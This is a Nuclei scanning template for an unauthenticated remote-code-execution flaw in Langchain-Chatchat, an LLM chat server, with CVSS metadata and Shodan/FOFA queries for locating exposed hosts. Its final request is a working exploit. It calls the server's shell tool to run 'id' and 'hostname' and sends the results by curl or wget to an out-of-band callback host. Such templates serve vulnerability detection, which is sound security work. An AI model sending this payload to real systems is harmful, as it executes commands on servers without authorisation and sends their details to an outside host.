CVE-2026-75128: Langchain-Chatchat <= 0.3.1.3 - Unauthenticated RCE

id: CVE-2026-75128

info:
  name: Langchain-Chatchat <= 0.3.1.3 - Unauthenticated RCE
  author: 0x_Akoko
  severity: critical
  description: |
    Langchain-Chatchat <= 0.3.1.3 contains a command injection caused by unauthenticated access to the /tools/call API endpoint invoking the shell tool, letting remote attackers execute arbitrary OS commands as root, exploit requires no authentication.
  impact: |
    Remote attackers can execute arbitrary OS commands as root, leading to full system compromise.
  remediation: |
    Update to the latest version of Langchain-Chatchat.
  reference:
    - https://www.lasso.security/vulnerability-database/cve-2026-75128
    - https://www.vulncheck.com/advisories/langchain-chatchat-through-0.3.1.3-unauthenticated-rce-via-tools-call-endpoint
    - https://github.com/chatchat-space/Langchain-Chatchat
    - https://nvd.nist.gov/vuln/detail/CVE-2026-75128
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-75128
    epss-score: 0.02226
    epss-percentile: 0.82838
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 3
    vendor: chatchat-space
    product: langchain-chatchat
    shodan-query: http.title:"Langchain-Chatchat API Server"
    fofa-query: title="Langchain-Chatchat API Server"
  tags: cve,cve2026,langchain-chatchat,chatchat,langchain,ai,llm,rce,oast,unauth

variables:
  probe: "{{rand_text_alpha(6)}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /openapi.json HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains_all(body, "Langchain-Chatchat API Server", "/tools/call", "/knowledge_base/list_knowledge_bases")'
        condition: and
        internal: true

  - raw:
      - |
        GET /tools HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains_all(body, "Use Shell to execute system shell commands", "The command to execute")'
        condition: and
        internal: true

  - raw:
      - |
        POST /tools/call HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"shell","tool_input":{"query":"O=$(id | tr -d ' ')/$(hostname);curl -sm8 http://{{interactsh-url}}/{{probe}}/$O || wget -T8 -qO- http://{{interactsh-url}}/{{probe}}/$O"}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
          - 'contains(interactsh_request, probe)'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - 'replace_regex(replace_regex(interactsh_request, "(?s)^GET /" + probe + "/", ""), "(?s) HTTP/1.*", "")'
# digest: 490a0046304402202585d745b63d94e5b7adb7bb0ec0cb362c51560a947ea8c979c48177ac4ac44002207c5959081aa0146e67eecff80a9c531a718b62cce26f3d7f5b8658f968b4f6cf:922c64590222798bb761d5b6d8e72950

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